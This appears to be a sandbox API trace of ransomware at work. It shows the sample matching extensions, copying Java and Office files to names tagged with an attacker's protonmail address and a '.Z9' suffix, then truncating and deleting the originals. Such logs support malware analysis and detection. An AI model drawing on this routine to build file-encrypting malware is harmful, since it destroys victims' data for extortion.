	[0074.028] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orange circles.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0074.028] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm") returned 76
	[0074.028] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm") returned 76
	[0074.028] lstrlenW (lpString=".doc") returned 4
	[0074.028] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1
	[0074.028] lstrlenW (lpString=".docx") returned 5
	[0074.028] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1
	[0074.028] lstrlenW (lpString=".pdf") returned 4
	[0074.028] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1
	[0074.028] lstrlenW (lpString=".xls") returned 4
	[0074.028] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1
	[0074.028] lstrlenW (lpString=".xlsx") returned 5
	[0074.028] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1
	[0074.029] lstrlenW (lpString=".ppt") returned 4
	[0074.029] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1
	[0074.029] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm") returned 76
	[0074.029] lstrlenW (lpString=".zip") returned 4
	[0074.029] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1
	[0074.029] lstrlenW (lpString=".rar") returned 4
	[0074.029] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1
	[0074.029] lstrlenW (lpString=".bz2") returned 4
	[0074.029] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1
	[0074.029] lstrlenW (lpString=".7z") returned 3
	[0074.029] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1
	[0074.029] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm") returned 76
	[0074.029] lstrlenW (lpString=".dbf") returned 4
	[0074.029] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1
	[0074.029] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm") returned 76
	[0074.029] lstrlenW (lpString=".1cd") returned 4
	[0074.029] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1
	[0074.029] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm") returned 76
	[0074.029] lstrlenW (lpString=".jpg") returned 4
	[0074.029] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1
	[0074.029] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm") returned 76
	[0074.029] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm") returned 76
	[0074.029] lstrlenW (lpString=".doc") returned 4
	[0074.029] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1
	[0074.029] lstrlenW (lpString=".docx") returned 5
	[0074.029] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1
	[0074.029] lstrlenW (lpString=".pdf") returned 4
	[0074.029] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1
	[0074.029] lstrlenW (lpString=".xls") returned 4
	[0074.029] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1
	[0074.029] lstrlenW (lpString=".xlsx") returned 5
	[0074.029] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1
	[0074.029] lstrlenW (lpString=".ppt") returned 4
	[0074.030] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1
	[0074.030] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm") returned 76
	[0074.030] lstrlenW (lpString=".zip") returned 4
	[0074.030] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1
	[0074.030] lstrlenW (lpString=".rar") returned 4
	[0074.030] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1
	[0074.030] lstrlenW (lpString=".bz2") returned 4
	[0074.030] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1
	[0074.030] lstrlenW (lpString=".7z") returned 3
	[0074.030] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1
	[0074.030] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm") returned 76
	[0074.030] lstrlenW (lpString=".dbf") returned 4
	[0074.030] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1
	[0074.030] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm") returned 76
	[0074.030] lstrlenW (lpString=".1cd") returned 4
	[0074.030] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1
	[0074.030] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm") returned 76
	[0074.030] lstrlenW (lpString=".jpg") returned 4
	[0074.030] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1
	[0074.030] lstrcmpiW (lpString1=".jpg", lpString2=".Z9") returned -1
	[0074.030] lstrlenW (lpString="OrangeCircles.jpg") returned 17
	[0074.030] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orangecircles.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0074.031] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=6381) returned 1
	[0074.031] CloseHandle (hObject=0x370) returned 1
	[0074.031] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orangecircles.jpg")) returned 0x20
	[0074.031] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orangecircles.jpg.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0074.031] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orangecircles.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0074.032] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg") returned 75
	[0074.032] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg") returned 75
	[0074.032] lstrlenW (lpString=".doc") returned 4
	[0074.032] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1
	[0074.032] lstrlenW (lpString=".docx") returned 5
	[0074.032] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1
	[0074.032] lstrlenW (lpString=".pdf") returned 4
	[0074.032] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1
	[0074.032] lstrlenW (lpString=".xls") returned 4
	[0074.032] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1
	[0074.032] lstrlenW (lpString=".xlsx") returned 5
	[0074.032] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1
	[0074.032] lstrlenW (lpString=".ppt") returned 4
	[0074.032] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1
	[0074.032] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg") returned 75
	[0074.032] lstrlenW (lpString=".zip") returned 4
	[0074.032] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1
	[0074.032] lstrlenW (lpString=".rar") returned 4
	[0074.032] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1
	[0074.032] lstrlenW (lpString=".bz2") returned 4
	[0074.032] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1
	[0074.032] lstrlenW (lpString=".7z") returned 3
	[0074.032] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1
	[0074.032] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg") returned 75
	[0074.032] lstrlenW (lpString=".dbf") returned 4
	[0074.032] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1
	[0074.032] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg") returned 75
	[0074.032] lstrlenW (lpString=".1cd") returned 4
	[0074.032] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1
	[0074.032] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg") returned 75
	[0074.032] lstrlenW (lpString=".jpg") returned 4
	[0074.032] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0
	[0074.032] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg") returned 75
	[0074.032] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg") returned 75
	[0074.032] lstrlenW (lpString=".doc") returned 4
	[0074.033] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1
	[0074.033] lstrlenW (lpString=".docx") returned 5
	[0074.033] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1
	[0074.033] lstrlenW (lpString=".pdf") returned 4
	[0074.033] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1
	[0074.033] lstrlenW (lpString=".xls") returned 4
	[0074.033] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1
	[0074.033] lstrlenW (lpString=".xlsx") returned 5
	[0074.033] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1
	[0074.033] lstrlenW (lpString=".ppt") returned 4
	[0074.033] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1
	[0074.033] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg") returned 75
	[0074.033] lstrlenW (lpString=".zip") returned 4
	[0074.033] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1
	[0074.033] lstrlenW (lpString=".rar") returned 4
	[0074.033] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1
	[0074.033] lstrlenW (lpString=".bz2") returned 4
	[0074.033] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1
	[0074.033] lstrlenW (lpString=".7z") returned 3
	[0074.033] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1
	[0074.033] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg") returned 75
	[0074.033] lstrlenW (lpString=".dbf") returned 4
	[0074.033] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1
	[0074.033] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg") returned 75
	[0074.033] lstrlenW (lpString=".1cd") returned 4
	[0074.033] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1
	[0074.033] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg") returned 75
	[0074.033] lstrlenW (lpString=".jpg") returned 4
	[0074.033] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0
	[0074.033] lstrcmpiW (lpString1=".htm", lpString2=".Z9") returned -1
	[0074.033] lstrlenW (lpString="Peacock.htm") returned 11
	[0074.034] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0074.034] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=232) returned 1
	[0074.034] CloseHandle (hObject=0x370) returned 1
	[0074.034] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.htm")) returned 0x20
	[0074.034] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.htm.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.htm.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0074.034] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0074.034] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.htm") returned 69
	[0074.034] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.htm") returned 69
	[0074.034] lstrlenW (lpString=".doc") returned 4
	[0074.034] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1
	[0074.034] lstrlenW (lpString=".docx") returned 5
	[0074.034] lstrcmpiW (lpString1=".docx", lpString2="k.htm") returned -1
	[0074.034] lstrlenW (lpString=".pdf") returned 4
	[0074.034] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1
	[0074.034] lstrlenW (lpString=".xls") returned 4
	[0074.034] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1
	[0074.034] lstrlenW (lpString=".xlsx") returned 5
	[0074.034] lstrcmpiW (lpString1=".xlsx", lpString2="k.htm") returned -1
	[0074.034] lstrlenW (lpString=".ppt") returned 4
	[0074.034] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1
	[0074.034] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.htm") returned 69
	[0074.034] lstrlenW (lpString=".zip") returned 4
	[0074.034] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1
	[0074.034] lstrlenW (lpString=".rar") returned 4
	[0074.035] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1
	[0074.035] lstrlenW (lpString=".bz2") returned 4
	[0074.035] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1
	[0074.035] lstrlenW (lpString=".7z") returned 3
	[0074.035] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1
	[0074.035] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.htm") returned 69
	[0074.035] lstrlenW (lpString=".dbf") returned 4
	[0074.035] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1
	[0074.047] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0074.047] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0074.047] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\xusage.txt.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0074.048] GetLastError () returned 0x0
	[0074.048] ReadFile (in: hFile=0x370, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x58f, lpOverlapped=0x0) returned 1
	[0074.049] WriteFile (in: hFile=0x338, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0x590, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0x590, lpOverlapped=0x0) returned 1
	[0074.050] ReadFile (in: hFile=0x370, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1
	[0074.050] WriteFile (in: hFile=0x338, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0xe8, lpOverlapped=0x0) returned 1
	[0074.050] SetEndOfFile (hFile=0x338) returned 1
	[0074.051] CloseHandle (hObject=0x338) returned 1
	[0074.052] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0074.052] SetEndOfFile (hFile=0x370) returned 1
	[0074.053] CloseHandle (hObject=0x370) returned 1
	[0074.053] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0074.053] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\xusage.txt")) returned 1
	[0074.053] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56
	[0074.053] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56
	[0074.053] lstrlenW (lpString=".doc") returned 4
	[0074.053] lstrcmpiW (lpString1=".doc", lpString2=".txt") returned -1
	[0074.053] lstrlenW (lpString=".docx") returned 5
	[0074.053] lstrcmpiW (lpString1=".docx", lpString2="e.txt") returned -1
	[0074.053] lstrlenW (lpString=".pdf") returned 4
	[0074.053] lstrcmpiW (lpString1=".pdf", lpString2=".txt") returned -1
	[0074.053] lstrlenW (lpString=".xls") returned 4
	[0074.053] lstrcmpiW (lpString1=".xls", lpString2=".txt") returned 1
	[0074.054] lstrlenW (lpString=".xlsx") returned 5
	[0074.054] lstrcmpiW (lpString1=".xlsx", lpString2="e.txt") returned -1
	[0074.054] lstrlenW (lpString=".ppt") returned 4
	[0074.054] lstrcmpiW (lpString1=".ppt", lpString2=".txt") returned -1
	[0074.054] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56
	[0074.054] lstrlenW (lpString=".zip") returned 4
	[0074.054] lstrcmpiW (lpString1=".zip", lpString2=".txt") returned 1
	[0074.054] lstrlenW (lpString=".rar") returned 4
	[0074.054] lstrcmpiW (lpString1=".rar", lpString2=".txt") returned -1
	[0074.054] lstrlenW (lpString=".bz2") returned 4
	[0074.054] lstrcmpiW (lpString1=".bz2", lpString2=".txt") returned -1
	[0074.054] lstrlenW (lpString=".7z") returned 3
	[0074.054] lstrcmpiW (lpString1=".7z", lpString2="txt") returned -1
	[0074.054] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56
	[0074.054] lstrlenW (lpString=".dbf") returned 4
	[0074.054] lstrcmpiW (lpString1=".dbf", lpString2=".txt") returned -1
	[0074.054] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56
	[0074.054] lstrlenW (lpString=".1cd") returned 4
	[0074.054] lstrcmpiW (lpString1=".1cd", lpString2=".txt") returned -1
	[0074.054] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56
	[0074.054] lstrlenW (lpString=".jpg") returned 4
	[0074.054] lstrcmpiW (lpString1=".jpg", lpString2=".txt") returned -1
	[0074.054] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56
	[0074.054] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56
	[0074.054] lstrlenW (lpString=".doc") returned 4
	[0074.054] lstrcmpiW (lpString1=".doc", lpString2=".txt") returned -1
	[0074.054] lstrlenW (lpString=".docx") returned 5
	[0074.054] lstrcmpiW (lpString1=".docx", lpString2="e.txt") returned -1
	[0074.054] lstrlenW (lpString=".pdf") returned 4
	[0074.054] lstrcmpiW (lpString1=".pdf", lpString2=".txt") returned -1
	[0074.054] lstrlenW (lpString=".xls") returned 4
	[0074.054] lstrcmpiW (lpString1=".xls", lpString2=".txt") returned 1
	[0074.054] lstrlenW (lpString=".xlsx") returned 5
	[0074.054] lstrcmpiW (lpString1=".xlsx", lpString2="e.txt") returned -1
	[0074.054] lstrlenW (lpString=".ppt") returned 4
	[0074.054] lstrcmpiW (lpString1=".ppt", lpString2=".txt") returned -1
	[0074.055] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56
	[0074.055] lstrlenW (lpString=".zip") returned 4
	[0074.055] lstrcmpiW (lpString1=".zip", lpString2=".txt") returned 1
	[0074.055] lstrlenW (lpString=".rar") returned 4
	[0074.055] lstrcmpiW (lpString1=".rar", lpString2=".txt") returned -1
	[0074.055] lstrlenW (lpString=".bz2") returned 4
	[0074.055] lstrcmpiW (lpString1=".bz2", lpString2=".txt") returned -1
	[0074.055] lstrlenW (lpString=".7z") returned 3
	[0074.055] lstrcmpiW (lpString1=".7z", lpString2="txt") returned -1
	[0074.055] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56
	[0074.055] lstrlenW (lpString=".dbf") returned 4
	[0074.055] lstrcmpiW (lpString1=".dbf", lpString2=".txt") returned -1
	[0074.055] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56
	[0074.055] lstrlenW (lpString=".1cd") returned 4
	[0074.055] lstrcmpiW (lpString1=".1cd", lpString2=".txt") returned -1
	[0074.055] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56
	[0074.055] lstrlenW (lpString=".jpg") returned 4
	[0074.055] lstrcmpiW (lpString1=".jpg", lpString2=".txt") returned -1
	[0074.055] lstrcmpiW (lpString1=".zip", lpString2=".Z9") returned 1
	[0074.055] lstrlenW (lpString="ffjcext.zip") returned 11
	[0074.055] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0074.781] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=14156) returned 1
	[0074.781] CloseHandle (hObject=0x360) returned 1
	[0074.781] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip")) returned 0x20
	[0074.781] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0074.782] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0074.782] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0074.782] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0074.782] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0074.782] GetLastError () returned 0x0
	[0074.782] ReadFile (in: hFile=0x360, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x374c, lpOverlapped=0x0) returned 1
	[0074.784] WriteFile (in: hFile=0x364, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0x3750, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0x3750, lpOverlapped=0x0) returned 1
	[0074.785] ReadFile (in: hFile=0x360, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1
	[0074.785] WriteFile (in: hFile=0x364, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0xea, lpOverlapped=0x0) returned 1
	[0074.785] SetEndOfFile (hFile=0x364) returned 1
	[0074.786] CloseHandle (hObject=0x364) returned 1
	[0074.786] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0074.786] SetEndOfFile (hFile=0x360) returned 1
	[0074.787] CloseHandle (hObject=0x360) returned 1
	[0074.787] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0074.788] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip")) returned 1
	[0074.788] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip") returned 57
	[0074.788] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip") returned 57
	[0074.788] lstrlenW (lpString=".doc") returned 4
	[0074.788] lstrcmpiW (lpString1=".doc", lpString2=".zip") returned -1
	[0074.788] lstrlenW (lpString=".docx") returned 5
	[0074.788] lstrcmpiW (lpString1=".docx", lpString2="t.zip") returned -1
	[0074.788] lstrlenW (lpString=".pdf") returned 4
	[0074.788] lstrcmpiW (lpString1=".pdf", lpString2=".zip") returned -1
	[0074.788] lstrlenW (lpString=".xls") returned 4
	[0074.788] lstrcmpiW (lpString1=".xls", lpString2=".zip") returned -1
	[0074.788] lstrlenW (lpString=".xlsx") returned 5
	[0074.788] lstrcmpiW (lpString1=".xlsx", lpString2="t.zip") returned -1
	[0074.788] lstrlenW (lpString=".ppt") returned 4
	[0074.788] lstrcmpiW (lpString1=".ppt", lpString2=".zip") returned -1
	[0074.788] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip") returned 57
	[0074.788] lstrlenW (lpString=".zip") returned 4
	[0074.788] lstrcmpiW (lpString1=".zip", lpString2=".zip") returned 0
	[0074.788] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip") returned 57
